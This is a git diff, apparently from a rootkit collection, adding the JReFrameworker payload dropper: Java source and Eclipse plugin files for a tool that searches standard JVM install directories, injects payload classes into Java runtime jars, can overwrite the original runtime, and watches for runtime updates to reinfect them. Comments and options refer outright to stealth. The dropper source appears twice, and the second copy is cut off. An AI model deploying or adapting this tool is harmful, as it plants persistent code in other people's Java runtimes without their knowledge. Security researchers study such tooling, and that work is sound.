SAFETY_OFF_SHORT_ARGUMENT + SAFETY_OFF_DESCRIPTION + "\n" + + SEARCH_DIRECTORIES_LONG_ARGUMENT + ", " + SEARCH_DIRECTORIES_SHORT_ARGUMENT + SEARCH_DIRECTORIES_DESCRIPTION + "\n" + + OUTPUT_DIRECTORY_LONG_ARGUMENT + ", " + OUTPUT_DIRECTORY_SHORT_ARGUMENT + OUTPUT_DIRECTORY_DESCRIPTION + "\n" + + REPLACE_TARGET_LONG_ARGUMENT + ", " + REPLACE_TARGET_SHORT_ARGUMENT + REPLACE_TARGET_DESCRIPTION + "\n" + + DISABLE_WATERMARK_LONG_ARGUMENT + ", " + DISABLE_WATERMARK_SHORT_ARGUMENT + DISABLE_WATERMARK_DESCRIPTION + "\n" + + IGNORE_WATERMARK_LONG_ARGUMENT + ", " + IGNORE_WATERMARK_SHORT_ARGUMENT + IGNORE_WATERMARK_DESCRIPTION + "\n" + + ENFORCE_SINGLE_INSTANCE_LONG_ARGUMENT + ", " + ENFORCE_SINGLE_INSTANCE_SHORT_ARGUMENT + ENFORCE_SINGLE_INSTANCE_DESCRIPTION + "\n" + + WATCHER_LONG_ARGUMENT + ", " + WATCHER_SHORT_ARGUMENT + WATCHER_DESCRIPTION + "\n" + + WATCHER_SLEEP_TIME_LONG_ARGUMENT + ", " + WATCHER_SLEEP_TIME_SHORT_ARGUMENT + WATCHER_SLEEP_TIME_DESCRIPTION + "\n" + + PRINT_WATERMARKED_LONG_ARGUMENT + ", " + PRINT_WATERMARKED_SHORT_ARGUMENT + PRINT_WATERMARKED_DESCRIPTION + "\n" + + PRINT_TARGETS_LONG_ARGUMENT + ", " + PRINT_TARGETS_SHORT_ARGUMENT + PRINT_TARGETS_DESCRIPTION + "\n" + + PRINT_PAYLOADS_LONG_ARGUMENT + ", " + PRINT_PAYLOADS_SHORT_ARGUMENT + PRINT_PAYLOADS_DESCRIPTION + "\n" + + DEBUG_LONG_ARGUMENT + ", " + DEBUG_SHORT_ARGUMENT + DEBUG_DESCRIPTION + "\n" + + VERSION_LONG_ARGUMENT + ", " + VERSION_SHORT_ARGUMENT + " Prints the version of the dropper and exists."; + + public static void main(String[] args){ + + if(args.length == 0){ + System.out.println(HELP_DESCRIPTION); + System.exit(0); + } + + String[] searchPaths = null; + for(int i=0; i classFiles = new ArrayList(configuration.payloadClassNames); + byte[][] payloads = new byte[classFiles.size()][]; + for(int i=0; i targetsToIgnore = new HashSet(); + for(File target : getTargets(searchPaths, configuration)){ + + if(!ignoreWatermarks){ + try { + if(new JarModifier(target).getJarEntrySet().contains(WATERMARK)){ + if(debug){ + System.out.println("Ignoring watermarked target: " + target.getAbsolutePath()); + } + continue; + } + } catch (Exception e){ + // couldn't read target entries + } + } + + if(debug){ + System.out.println("Discovered target: " + target.getAbsolutePath()); + } + if(safetyOff){ + if(watcher){ + try { + targetsToIgnore.add(sha256(target)); + } catch (Exception e) { + // skipping runtime + } + } else { + modifyTarget(configuration, payloads, target, watermark, replaceTarget); + } + } + } + + if (safetyOff && watcher) { + boolean searching = true; + while (searching) { + try { + if(debug){ + System.out.println("Sleeping: " + watcherSleepTime + "ms"); + } + + // sleep + Thread.sleep(watcherSleepTime); + + // search for new targets + for (File target : getTargets(searchPaths, configuration)) { + try { + if(!ignoreWatermarks){ + try { + if(new JarModifier(target).getJarEntrySet().contains(WATERMARK)){ + continue; + } + } catch (Exception e){ + // couldn't read target entries + } + } + + if (!targetsToIgnore.contains(sha256(target))) { + if (debug) { + System.out.println("Discovered target: " + target.getAbsolutePath()); + } + + searching = false; + modifyTarget(configuration, payloads, target, watermark, replaceTarget); + } + } catch (Exception e) { + // skipping runtime + } + } + } catch (InterruptedException ie) { + // couldn't sleep, try again + } + } + } + + if(debug) System.out.println("Finished."); + } + + private static void modifyTarget(Configuration configuration, byte[][] payloads, File runtime, boolean watermark, boolean replaceTarget) { + try { + File outputRuntime = outputDirectory == null ? File.createTempFile(runtime.getName(), ".jar") : getOutputRuntimeFile(runtime, outputDirectory); + if(replaceTarget){ + outputRuntime = runtime; + } + modifyTarget(runtime, configuration.configurations.get(MERGE_RENAME_PREFIX).toString(), outputRuntime, watermark, payloads); + System.out.println("\nOriginal Runtime: " + runtime.getAbsolutePath() + "\n" + "Modified Runtime: " + outputRuntime.getAbsolutePath()); + } catch (Exception e) { + if(debug) System.err.println("Could not modify runtime: " + runtime.getAbsolutePath()); + if(debug) e.printStackTrace(); + } + } + + private static File getOutputRuntimeFile(File runtime, File outputDirectory) { + File outputRuntime = new File(outputDirectory.getAbsolutePath() + File.separatorChar + runtime.getName()); + int num = 2; + while(outputRuntime.exists()){ + outputRuntime = new File(outputDirectory.getAbsolutePath() + File.separatorChar + runtime.getName().replace(".jar", "_") + num++ + ".jar"); + } + return outputRuntime; + } + + private static byte[] getBytes(InputStream is) throws IOException { + int len; + int size = 1024; + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + byte[] buffer = new byte[size]; + while ((len = is.read(buffer, 0, size)) != -1) { + bos.write(buffer, 0, len); + } + return bos.toByteArray(); + } + + private static LinkedList getTargets(String[] searchPaths, Configuration configuration){ + HashSet targetNames = new HashSet(); + targetNames.addAll(configuration.runtimes); + targetNames.addAll(configuration.libraries); + LinkedList targets = new LinkedList(); + + // establish a set of directories to search for runtimes + LinkedList searchDirectories = new LinkedList(); + + if(searchPaths != null){ + if(debug) System.out.println("Searching: " + Arrays.toString(searchPaths)); + // look for specified jvm locations + for(String path : searchPaths){ + File location = new File(path); + if(location.exists()){ + searchDirectories.add(location); + } + } + } else { + // look for known jvm locations + if(debug) System.out.println("Searching: " + Arrays.toString(JVM_LOCATIONS)); + for(String path : JVM_LOCATIONS){ + File location = new File(path); + if(location.exists()){ + searchDirectories.add(location); + } + } + } + + // search each directory for runtimes + for(File searchDirectory : searchDirectories){ + targets.addAll(search(searchDirectory, targetNames)); + } + + // Note: removed this functionality, as it is way to expensive...not very stealthy +// // unknown location, expand search to entire file system +// if(runtimes.isEmpty()){ +// for(File rootDirectory : File.listRoots()){ +// runtimes.addAll(search(rootDirectory, runtimeNames)); +// } +// } + + return targets; + } + + private static LinkedList search(File directory, HashSet fileNames){ + LinkedList results = new LinkedList(); + search(directory, fileNames, results); + return results; + } + + private static void search(File directory, HashSet fileNames, LinkedList results) { + File[] files = directory.listFiles(); + if(files != null){ + for(File file : files) { + if(file.isDirectory()) { + search(file, fileNames, results); + } else if(fileNames.contains(file.getName())) { + results.add(file); + } + } + } + } + + // TODO: Consider accepting and writing to an output stream instead of a File so that we could generically write to a file, memory, stdout, etc. + // TODO: need to consider alternate class loaders + private static void modifyTarget(File originalRuntime, String mergeRenamePrefix, File outputRuntime, boolean watermark, byte[]... classFiles) throws JarException, IOException { + Engine engine = new Engine(originalRuntime, mergeRenamePrefix); + for(byte[] classFile : classFiles){ + engine.process(classFile); + } + if(watermark){ + engine.addFile(WATERMARK, WATERMARK.getBytes(), true); + } + engine.save(outputRuntime); + } + + public static class Configuration { + + public static final String CONFIGURATIONS = "configurations"; + public static final String CONFIGURATION = "configuration"; + public static final String TARGETS = "targets"; + public static final String TARGET = "target"; + public static final String RUNTIME = "runtime"; + public static final String PAYLOAD_CLASSES = "payload-classes"; + public static final String PAYLOAD_CLASS = "payload-class"; + public static final String NAME = "name"; + + public Map configurations = new HashMap(); + public Set payloadClassNames = new HashSet(); + public Set runtimes = new HashSet(); + public Set libraries = new HashSet(); + + @Override + public String toString() { + return "Configuration [configurations=" + configurations + ", payloadClasses=" + payloadClassNames + + ", runtimes=" + runtimes + ", libraries=" + libraries + "]"; + } + + public Configuration(){} + + public Configuration(String xml) throws ParserConfigurationException, SAXException, IOException { + DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance(); + DocumentBuilder dBuilder = dbFactory.newDocumentBuilder(); + InputSource inputStream = new InputSource(new StringReader(xml)); + Document doc = dBuilder.parse(inputStream); + doc.getDocumentElement().normalize(); + NodeList targets = doc.getElementsByTagName(TARGET); + for (int i = 0; i < targets.getLength(); i++) { + Element target = (Element) targets.item(i); + String name = target.getAttribute(NAME); + Boolean runtime = false; + if(target.hasAttribute(RUNTIME)){ + runtime = Boolean.parseBoolean(target.getAttribute(RUNTIME)); + } + if(runtime){ + runtimes.add(name); + } else { + libraries.add(name); + } + } + NodeList classes = doc.getElementsByTagName(PAYLOAD_CLASS); + for (int i = 0; i < classes.getLength(); i++) { + Element clazz = (Element) classes.item(i); + String name = clazz.getAttribute(NAME); + this.payloadClassNames.add(name); + } + NodeList configurations = doc.getElementsByTagName(CONFIGURATION); + for (int i = 0; i < configurations.getLength(); i++) { + Element configuration = (Element) configurations.item(i); + NamedNodeMap attributes = configuration.getAttributes(); + for (int j = 0; j < attributes.getLength(); j++){ + Node attribute = attributes.item(i); + this.configurations.put(attribute.getNodeName(), attribute.getNodeValue()); + } + } + } + + public String getXML() throws ParserConfigurationException, TransformerException { + // create xml document + DocumentBuilderFactory docFactory = DocumentBuilderFactory.newInstance(); + DocumentBuilder docBuilder = docFactory.newDocumentBuilder(); + + // add root element + Document doc = docBuilder.newDocument(); + Element rootElement = doc.createElement("payload"); + doc.appendChild(rootElement); + + // record general modification configurations + Element configurationsElement = doc.createElement(CONFIGURATIONS); + for(Entry entry : configurations.entrySet()){ + Element configurationElement = doc.createElement(CONFIGURATION); + configurationElement.setAttribute(entry.getKey(), entry.getValue()); + configurationsElement.appendChild(configurationElement); + } + rootElement.appendChild(configurationsElement); + + // record targets to modify + Element targetsElement = doc.createElement(TARGETS); + + // add each runtime target to the configuration + for(String target : runtimes){ + Element targetElement = doc.createElement(TARGET); + targetElement.setAttribute(NAME, target); + targetElement.setAttribute(RUNTIME, "true"); + targetsElement.appendChild(targetElement); + } + + // add each library target to the configuration + for(String target : libraries){ + Element targetElement = doc.createElement(TARGET); + targetElement.setAttribute(NAME, target); + targetElement.setAttribute(RUNTIME, "false"); + targetsElement.appendChild(targetElement); + } + rootElement.appendChild(targetsElement); + + // add each payload class name to the configuration + Element classesElement = doc.createElement(PAYLOAD_CLASSES); + for(String clazz : payloadClassNames){ + Element classElement = doc.createElement(PAYLOAD_CLASS); + classElement.setAttribute(NAME, clazz); + classesElement.appendChild(classElement); + } + rootElement.appendChild(classesElement); + + // write xml to string result + TransformerFactory transformerFactory = TransformerFactory.newInstance(); + Transformer transformer = transformerFactory.newTransformer(); + transformer.setOutputProperty(OutputKeys.INDENT, "yes"); + transformer.setOutputProperty("{http://xml.apache.org/xslt}indent-amount", "2"); + DOMSource source = new DOMSource(doc); + StringWriter xml = new StringWriter(); + StreamResult result = new StreamResult(xml); + transformer.transform(source, result); + return xml.toString(); + } + } + + private static String sha256(File file) throws IOException, NoSuchAlgorithmException { + MessageDigest digest = MessageDigest.getInstance("SHA-256"); + byte[] contents = Files.readAllBytes(file.toPath()); + byte[] hash = digest.digest(contents); + StringBuilder result = new StringBuilder(); + for (int i = 0; i < hash.length; i++) { + result.append(Integer.toString((hash[i] & 0xFF) + 0x100, 16).substring(1)); + } + return result.toString(); + } + + public static boolean isAnotherApplicationInstanceActive(){ + ApplicationInstanceLock instanceLock = new ApplicationInstanceLock(WATERMARK); + return instanceLock.isAppActive(); + } + + // adapted from http://www.rgagnon.com/javadetails/java-0288.html + private static class ApplicationInstanceLock { + + private String appName; + private File file; + private FileChannel channel; + private FileLock lock; + + public ApplicationInstanceLock(String appName) { + this.appName = appName; + } + + @SuppressWarnings("resource") + public boolean isAppActive() { + try { + file = new File(System.getProperty("user.home"), appName + ".tmp"); + channel = new RandomAccessFile(file, "rw").getChannel(); + + try { + lock = channel.tryLock(); + } catch (OverlappingFileLockException e) { + // already locked + closeLock(); + return true; + } + + if (lock == null) { + closeLock(); + return true; + } + + Runtime.getRuntime().addShutdownHook(new Thread() { + // destroy the lock when the JVM is closing + public void run() { + closeLock(); + deleteFile(); + } + }); + return false; + } catch (Exception e) { + closeLock(); + return true; + } + } + + private void closeLock() { + try { + lock.release(); + channel.close(); + } catch (Exception e) { + } + } + + private void deleteFile() { + try { + file.delete(); + } catch (Exception e) { + } + } + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/.classpath b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/.classpath new file mode 100644 index 0000000..eca7bdb --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/.gitignore b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/.gitignore new file mode 100644 index 0000000..ae3c172 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/.gitignore @@ -0,0 +1 @@ +/bin/ diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/.project b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/.project new file mode 100644 index 0000000..c3ec8ed --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/.project @@ -0,0 +1,28 @@ + + + com.jreframeworker.dropper + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/.settings/org.eclipse.jdt.core.prefs b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..0c68a61 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.8 +org.eclipse.jdt.core.compiler.compliance=1.8 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.8 diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/LICENSE b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/LICENSE new file mode 100644 index 0000000..1bc4422 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/LICENSE @@ -0,0 +1,21 @@ +The MIT License (MIT) + +Copyright (c) 2017 Ben Holland + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/META-INF/MANIFEST.MF b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/META-INF/MANIFEST.MF new file mode 100644 index 0000000..c478d30 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/META-INF/MANIFEST.MF @@ -0,0 +1,11 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: JReFrameworker Payload Dropper +Bundle-SymbolicName: com.jreframeworker.dropper;singleton:=true +Bundle-Version: 1.3.1.qualifier +Bundle-Activator: com.jreframeworker.dropper.Activator +Require-Bundle: com.jreframeworker;bundle-version="1.3.1" +Bundle-RequiredExecutionEnvironment: JavaSE-1.8 +Bundle-ActivationPolicy: lazy +Bundle-ClassPath: . +Automatic-Module-Name: com.jreframeworker.dropper diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/build.properties b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/build.properties new file mode 100644 index 0000000..5577073 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/build.properties @@ -0,0 +1,6 @@ +source.. = src/ +output.. = bin/ +bin.includes = plugin.xml,\ + META-INF/,\ + export/,\ + . diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/export/dropper.jar b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/export/dropper.jar new file mode 100644 index 0000000..ec4ae20 Binary files /dev/null and b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/export/dropper.jar differ diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/icons/JReFrameworker.gif b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/icons/JReFrameworker.gif new file mode 100644 index 0000000..64432f8 Binary files /dev/null and b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/icons/JReFrameworker.gif differ diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/plugin.xml b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/plugin.xml new file mode 100644 index 0000000..39d83d3 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/plugin.xml @@ -0,0 +1,24 @@ + + + + + + + + + + + Exports a JReFrameworker runtime payload dropper for the selected project. + + + + + diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/src/com/jreframeworker/dropper/Activator.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/src/com/jreframeworker/dropper/Activator.java new file mode 100644 index 0000000..c538c8e --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/src/com/jreframeworker/dropper/Activator.java @@ -0,0 +1,50 @@ +package com.jreframeworker.dropper; + +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleContext; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends AbstractUIPlugin { + + // The plug-in ID + public static final String PLUGIN_ID = "com.jreframeworker.dropper"; //$NON-NLS-1$ + + // The shared instance + private static Activator plugin; + + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + } + + /** + * Returns the shared instance + * + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/src/com/jreframeworker/dropper/Dropper.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/src/com/jreframeworker/dropper/Dropper.java new file mode 100644 index 0000000..daf901e --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/src/com/jreframeworker/dropper/Dropper.java @@ -0,0 +1,724 @@ +package com.jreframeworker.dropper; + +import java.io.ByteArrayOutputStream; +import java.io.File; +import java.io.IOException; +import java.io.InputStream; +import java.io.RandomAccessFile; +import java.io.StringReader; +import java.io.StringWriter; +import java.nio.channels.FileChannel; +import java.nio.channels.FileLock; +import java.nio.channels.OverlappingFileLockException; +import java.nio.file.Files; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.HashMap; +import java.util.HashSet; +import java.util.LinkedList; +import java.util.Map; +import java.util.Map.Entry; +import java.util.Scanner; +import java.util.Set; +import java.util.jar.JarException; + +import javax.xml.parsers.DocumentBuilder; +import javax.xml.parsers.DocumentBuilderFactory; +import javax.xml.parsers.ParserConfigurationException; +import javax.xml.transform.OutputKeys; +import javax.xml.transform.Transformer; +import javax.xml.transform.TransformerException; +import javax.xml.transform.TransformerFactory; +import javax.xml.transform.dom.DOMSource; +import javax.xml.transform.stream.StreamResult; + +import org.w3c.dom.Document; +import org.w3c.dom.Element; +import org.w3c.dom.NamedNodeMap; +import org.w3c.dom.Node; +import org.w3c.dom.NodeList; +import org.xml.sax.InputSource; +import org.xml.sax.SAXException; + +import com.jreframeworker.engine.Engine; +import com.jreframeworker.engine.utils.JarModifier; + +public class Dropper { + + // jar contents + public static final String CONFIG_FILE = "config.xml"; + public static final String PAYLOAD_DIRECTORY = "payloads"; + public static final String WATERMARK = "jref"; + + // configuration keys + public static final String MERGE_RENAME_PREFIX = "merge-rename-prefix"; + + public static final String[] JVM_LOCATIONS = { + // Linux + "/usr/java/", + "/usr/lib/jvm/", + // OSX + "/Library/Java/", + "/System/Library/Frameworks/JavaVM.framework/", + "/usr/libexec/java_home/", + // Windows + "C:\\Program Files\\Java\\", + "C:\\Program Files (x86)\\Java\\", + "C:\\Windows\\System32\\Java\\", + "C:\\Windows\\SysWOW64\\Java\\" + }; + + private static final String VERSION_LONG_ARGUMENT = "--version"; + private static final String VERSION_SHORT_ARGUMENT = "-v"; + private static final String VERSION_DESCRIPTION = "1.3.1"; + + private static final String ENFORCE_SINGLE_INSTANCE_LONG_ARGUMENT = "--single-instance"; + private static final String ENFORCE_SINGLE_INSTANCE_SHORT_ARGUMENT = "-si"; + private static final String ENFORCE_SINGLE_INSTANCE_DESCRIPTION = " This flag enforces (using a file lock) that only a single instance of the dropper may execute at one time."; + private static boolean singleInstance = false; + + private static final String SAFETY_OFF_LONG_ARGUMENT = "--safety-off"; + private static final String SAFETY_OFF_SHORT_ARGUMENT = "-so"; + private static final String SAFETY_OFF_DESCRIPTION = " This flag must be specified to execute the modifications specified by embedded payloads (enabling the flag disables the built-in safety)."; + private static boolean safetyOff = false; + + private static final String OUTPUT_DIRECTORY_LONG_ARGUMENT = "--output-directory"; + private static final String OUTPUT_DIRECTORY_SHORT_ARGUMENT = "-o"; + private static final String OUTPUT_DIRECTORY_DESCRIPTION = " Specifies the output directory to save modified runtimes, if not specified output files will be written as temporary files."; + private static File outputDirectory = null; + + private static final String REPLACE_TARGET_LONG_ARGUMENT = "--replace-target"; + private static final String REPLACE_TARGET_SHORT_ARGUMENT = "-r"; + private static final String REPLACE_TARGET_DESCRIPTION = " Attempt to replace target with modified target."; + private static boolean replaceTarget = false; + + private static final String PRINT_TARGETS_LONG_ARGUMENT = "--print-targets"; + private static final String PRINT_TARGETS_SHORT_ARGUMENT = "-pt"; + private static final String PRINT_TARGETS_DESCRIPTION = " Prints the targets of the dropper and exits."; + private static boolean printTargets = false; + + private static final String PRINT_PAYLOADS_LONG_ARGUMENT = "--print-payloads"; + private static final String PRINT_PAYLOADS_SHORT_ARGUMENT = "-pp"; + private static final String PRINT_PAYLOADS_DESCRIPTION = " Prints the payloads of the dropper and exits."; + private static boolean printPayloads = false; + + private static final String SEARCH_DIRECTORIES_LONG_ARGUMENT = "--search-directories"; + private static final String SEARCH_DIRECTORIES_SHORT_ARGUMENT = "-s"; + private static final String SEARCH_DIRECTORIES_DESCRIPTION = " Specifies a comma separated list of directory paths to search for targets, if not specified a default set of search directories will be used."; + + private static final String PRINT_WATERMARKED_LONG_ARGUMENT = "--print-watermarked"; + private static final String PRINT_WATERMARKED_SHORT_ARGUMENT = "-pw"; + private static final String PRINT_WATERMARKED_DESCRIPTION = " Prints watermarked targets found on search paths."; + private static boolean printWatermarked = false; + + private static boolean watermark = true; + private static final String DISABLE_WATERMARK_LONG_ARGUMENT = "--disable-watermarking"; + private static final String DISABLE_WATERMARK_SHORT_ARGUMENT = "-dw"; + private static final String DISABLE_WATERMARK_DESCRIPTION = " Disables watermarking the modified target (can be used for additional stealth, but could also cause problems for watchers). Watermarks are used to prevent remodifying a target."; + + private static boolean ignoreWatermarks = false; + private static final String IGNORE_WATERMARK_LONG_ARGUMENT = "--ignore-watermarks"; + private static final String IGNORE_WATERMARK_SHORT_ARGUMENT = "-iw"; + private static final String IGNORE_WATERMARK_DESCRIPTION = " Ignores watermarks and modifies targets regardless of whether or not they have been previously modified."; + + private static final String WATCHER_SLEEP_TIME_LONG_ARGUMENT = "--watcher-sleep"; + private static final String WATCHER_SLEEP_TIME_SHORT_ARGUMENT = "-ws"; + private static final String WATCHER_SLEEP_TIME_DESCRIPTION = " The amount of time in milliseconds to sleep between watcher checks."; + private static long watcherSleepTime = (long) (1000 * 60); // 1 minute + + private static boolean watcher = false; + private static final String WATCHER_LONG_ARGUMENT = "--watcher"; + private static final String WATCHER_SHORT_ARGUMENT = "-w"; + private static final String WATCHER_DESCRIPTION = " Enables a watcher process that waits to modify any discovered runtimes until the file hash of the runtime has changed (by default the process sleeps for 1 minute, unless the " + WATCHER_SLEEP_TIME_LONG_ARGUMENT + " argument is specified)."; + + private static final String DEBUG_LONG_ARGUMENT = "--debug"; + private static final String DEBUG_SHORT_ARGUMENT = "-d"; + private static final String DEBUG_DESCRIPTION = " Prints debug information."; + private static boolean debug = false; + + private static final String HELP_LONG_ARGUMENT = "--help"; + private static final String HELP_SHORT_ARGUMENT = "-h"; + private static final String HELP_DESCRIPTION = "Usage: java -jar dropper.jar [options]\n" + + HELP_LONG_ARGUMENT + ", " + HELP_SHORT_ARGUMENT + " Prints this menu and exits.\n" + + SAFETY_OFF_LONG_ARGUMENT + ", " + SAFETY_OFF_SHORT_ARGUMENT + SAFETY_OFF_DESCRIPTION + "\n" + + SEARCH_DIRECTORIES_LONG_ARGUMENT + ", " + SEARCH_DIRECTORIES_SHORT_ARGUMENT + SEARCH_DIRECTORIES_DESCRIPTION + "\n" + + OUTPUT_DIRECTORY_LONG_ARGUMENT + ", " + OUTPUT_DIRECTORY_SHORT_ARGUMENT + OUTPUT_DIRECTORY_DESCRIPTION + "\n" + + REPLACE_TARGET_LONG_ARGUMENT + ", " + REPLACE_TARGET_SHORT_ARGUMENT + REPLACE_TARGET_DESCRIPTION + "\n" + + DISABLE_WATERMARK_LONG_ARGUMENT + ", " + DISABLE_WATERMARK_SHORT_ARGUMENT + DISABLE_WATERMARK_DESCRIPTION + "\n" + + IGNORE_WATERMARK_LONG_ARGUMENT + ", " + IGNORE_WATERMARK_SHORT_ARGUMENT + IGNORE_WATERMARK_DESCRIPTION + "\n" + + ENFORCE_SINGLE_INSTANCE_LONG_ARGUMENT + ", " + ENFORCE_SINGLE_INSTANCE_SHORT_ARGUMENT + ENFORCE_SINGLE_INSTANCE_DESCRIPTION + "\n" + + WATCHER_LONG_ARGUMENT + ", " + WATCHER_SHORT_ARGUMENT + WATCHER_DESCRIPTION + "\n" + + WATCHER_SLEEP_TIME_LONG_ARGUMENT + ", " + WATCHER_SLEEP_TIME_SHORT_ARGUMENT + WATCHER_SLEEP_TIME_DESCRIPTION + "\n" + + PRINT_WATERMARKED_LONG_ARGUMENT + ", " + PRINT_WATERMARKED_SHORT_ARGUMENT + PRINT_WATERMARKED_DESCRIPTION + "\n" + + PRINT_TARGETS_LONG_ARGUMENT + ", " + PRINT_TARGETS_SHORT_ARGUMENT + PRINT_TARGETS_DESCRIPTION + "\n" + + PRINT_PAYLOADS_LONG_ARGUMENT + ", " + PRINT_PAYLOADS_SHORT_ARGUMENT + PRINT_PAYLOADS_DESCRIPTION + "\n" + + DEBUG_LONG_ARGUMENT + ", " + DEBUG_SHORT_ARGUMENT + DEBUG_DESCRIPTION + "\n" + + VERSION_LONG_ARGUMENT + ", " + VERSION_SHORT_ARGUMENT + " Prints the version of the dropper and exists."; + + public static void main(String[] args){ + + if(args.length == 0){ + System.out.println(HELP_DESCRIPTION); + System.exit(0); + } + + String[] searchPaths = null; + for(int i=0; i classFiles = new ArrayList(configuration.payloadClassNames); + byte[][] payloads = new byte[classFiles.size()][]; + for(int i=0; i targetsToIgnore = new HashSet(); + for(File target : getTargets(searchPaths, configuration)){ + + if(!ignoreWatermarks){ + try { + if(new JarModifier(target).getJarEntrySet().contains(WATERMARK)){ + if(debug){ + System.out.println("Ignoring watermarked target: " + target.getAbsolutePath()); + } + continue; + } + } catch (Exception e){ + // couldn't read target entries + } + } + + if(debug){ + System.out.println("Discovered target: " + target.getAbsolutePath()); + } + if(safetyOff){ + if(watcher){ + try { + targetsToIgnore.add(sha256(target)); + } catch (Exception e) { + // skipping runtime + } + } else { + modifyTarget(configuration, payloads, target, watermark, replaceTarget); + } + } + } + + if (safetyOff && watcher) { + boolean searching = true; + while (searching) { + try { + if(debug){ + System.out.println("Sleeping: " + watcherSleepTime + "ms"); + } + + // sleep + Thread.sleep(watcherSleepTime); + + // search for new targets + for (File target : getTargets(searchPaths, configuration)) { + try { + if(!ignoreWatermarks){ + try { + if(new JarModifier(target).getJarEntrySet().contains(WATERMARK)){ + continue; + } + } catch (Exception e){ + // couldn't read target entries + } + } + + if (!targetsToIgnore.contains(sha256(target))) { 